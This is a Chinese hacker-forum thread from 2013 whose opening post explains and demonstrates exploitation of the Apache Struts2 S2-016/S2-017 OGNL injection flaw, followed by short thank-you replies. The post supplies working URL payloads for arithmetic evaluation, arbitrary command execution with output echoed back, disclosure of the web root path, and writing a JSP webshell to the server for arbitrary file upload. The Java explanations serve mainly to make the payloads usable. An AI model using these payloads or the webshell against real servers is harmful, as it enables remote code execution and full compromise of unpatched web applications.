查看: 8968|回复: 9
打印 上一主题 下一主题

关于s2-016和s2-017,struct2最新漏洞的分析以及利用

[复制链接]
  • TA的每日心情
    慵懒
    2013-9-13 20:33
  • 签到天数: 13 天

    [LV.3]偶尔看看II

    跳转到指定楼层
    1#
    发表于 2013-7-20 12:45:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
    关于s2-016和s2-017,struct2最新漏洞的分析以及利用
    ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?
    ,这次漏洞是struct2框架能执行任意java代码,action:"/"redirect:"/ 就是这两个神奇的参数,也就是动作和重定向,有点代码基础的都懂的,这两个参数没有正确地过滤。由于上述信息将被评为OGNL的值栈,这就有了引入的服务器端代码注入的可能性 ,从而导致提交的java代码得以执行,
    1,简单代码执行
    http://host/struts2-blank/example/X.action?action:%25{3*4}

    http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

    2,命令执行
    http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

    http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

    至于怎么利用呢,首先我们要对java有一定了解,这里我就简单介绍一下

    ProcessBuilder类是J2SE 1.5在java.lang中新添加的一个新类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法。在J2SE 1.5之前,都是由Process类处来实现进程的控制管理。      每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用,以利用相同的或相关的属性创建新的子进程
    ProcessBuilder是一个final类,有两个带参数的构造方法,你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类,一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例
    那么这句话就可以理解了
    new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()
    redirect{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'" cmd "'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
    就是执行里面那句话ok那么我们把他换成一个变量就能接收我们的代码数据了
    好给大家看一下执行命令的代码
    ProcessBuilder("myCommand", "myArg1", "myArg2")
    这个就是参数类型 new+java.lang.String[]{'command','goes','here'这是新建一个string
    刚才我们已经说过了主要的类,其实到start()我们的命令已经执行完成了,那么后面的是干嘛的呢,其实明眼人一看就看出来了getInputStream() InputStreamReader()BufferedReader() 等等一些列的全部是为了获取结果网站信息回显的,和本次漏洞无关,感兴趣的可以自己去查,

    2,获取根目录命令
    redirect{#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#b=#a.getServletContext(),#c=#b.getRealPath("/"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()} "

    这个用到了struct的一个核心包 Context所代表的意义:公用信息、环境、容器

    context 对象包含 NamedValue 对象形式的属性列表。这些属性表示关于客户端、环境或请求情形的信息,它们通常是一些可能不方便作为参数传递的属性。 Context 对象是通过先调用 ORB 方法 get_default_context,然后在默认上下文上调用 create_child 来创建的
    StrutsStatics并没有定义业务方法,只定义了若干个常量。Struts2对常用的接口进行了重新封装,比如HttpServletRequest、HttpServletResponse、HttpServletContext等。 以下是StrutsStatics的定义:
    StrutsStatics.java
    publicinterfaceStrutsStatics {
    ? ?/**
    ? ? *ConstantfortheHTTPrequestobject.
    ? ? */
    ? ?publicstaticfinalStringHTTP_REQUEST="com.opensymphony.xwork2.dispatcher.HttpServletRequest";
    ? ?/**
    ? ? *ConstantfortheHTTPresponseobject.
    ? ? */
    ? ?publicstaticfinalStringHTTP_RESPONSE="com.opensymphony.xwork2.dispatcher.HttpServletResponse";
    ? ?/**
    ? ? *ConstantforanHTTPrequest dispatcher}.
    ? ? */
    ? ?publicstaticfinalStringSERVLET_DISPATCHER="com.opensymphony.xwork2.dispatcher.ServletDispatcher";
    ? ?/**
    ? ? *Constantfortheservlet context}object.
    ? ? */
    ? ?publicstaticfinalStringSERVLET_CONTEXT="com.opensymphony.xwork2.dispatcher.ServletContext";
    ? ?/**
    ? ? *ConstantfortheJSPpage context}.
    ? ? */
    publicstaticfinalStringPAGE_CONTEXT="com.opensymphony.xwork2.dispatcher.PageContext";
    ? ?/**ConstantforthePortletContextobject*/
    ? ?publicstaticfinalStringSTRUTS_PORTLET_CONTEXT="struts.portlet.context";
    }

    publicstaticfinalStringHTTP_RESPONSE 我们获取的也就是这个了
    然后就是a.getServletContext(),#c=#b.getRealPath("/")
    获取到现在的绝对路径,有兴趣的可以去研究HTTP_RESPONSE
    3上传文件
    redirect{ #req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#p=(#req.getRealPath("/")+"css3.jsp").replaceAll("\\\\","/"),new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter("c")).close()}&c=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
    和上面的很类似不过看清楚区别com.opensymphony.xwork2.dispatcher.HttpServletRequest
    我们获取的是publicstaticfinal StringHTTP_REQUEST了而不是publicstaticfinal StringHTTP_RESPONSE 也就是我们提交的数据了
    BufferedWriter 这是写入文件的函数
    这句话的意思就是写入的文件内容:
    <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>? ?? ?
    其实就是一个jsp的小马,需要客户端配合? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?
    函数f是文件名,t是内容
    客户端:






    就在当前目录建立一个fjp.jsp
    然后写入你的内容就好了? ?? ?

    评分

    3

    查看全部评分

  • TA的每日心情
    无聊
    2013-9-30 14:54
  • 签到天数: 62 天

    [LV.6]常住居民II

    2#
    发表于 2013-7-20 13:12:51 | 只看该作者
    回复 H.U.C-莫逍遥 的帖子

    收藏一个了
  • TA的每日心情

    2019-1-13 15:31
  • 签到天数: 310 天

    [LV.8]以坛为家I

    3#
    发表于 2013-7-20 13:28:56 | 只看该作者
    ??逍遥大牛···
  • TA的每日心情

    2014-2-7 18:42
  • 签到天数: 153 天

    [LV.7]常住居民III

    4#
    发表于 2013-7-20 13:53:45 | 只看该作者
    漏洞17号就出了,复制都那么没水平,文章都变表情了

    评分

    1

    查看全部评分

  • TA的每日心情
    擦汗
    2016-5-31 16:17
  • 签到天数: 344 天

    [LV.8]以坛为家I

    5#
    发表于 2013-7-20 16:36:22 | 只看该作者
    感谢楼主分享虽然看不懂
  • TA的每日心情
    难过
    2013-12-12 21:22
  • 签到天数: 54 天

    [LV.5]常住居民I

    6#
    发表于 2013-12-1 11:26:05 | 只看该作者
    action:"/"redirect:"/??二个值栈过滤
  • TA的每日心情
    奋斗
    2019-5-13 14:32
  • 签到天数: 22 天

    [LV.4]偶尔看看III

    7#
    发表于 2016-1-12 11:11:36 来自手机 | 只看该作者
    好得。谢谢楼主
  • TA的每日心情
    慵懒
    14?小时前
  • 签到天数: 35 天

    [LV.5]常住居民I

    10#
    发表于 11?小时前 | 只看该作者
    好的,感谢楼主
    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    关闭

    站长推荐 上一条 /1 下一条

    红盟社区--中国yabo88亚博体育下载联盟?

    Processed in 0.117337 second(s), 24 queries.

    站点统计| 举报| Archiver| 手机版| 黑屋 | ??

    Powered by HUC ? 2001-2017 Comsenz Inc.

    手机扫我进入移动触屏客户端

    关注我们可获取更多热点资讯

    Honor accompaniments. theme macfee

    快速回复 返回顶部 返回列表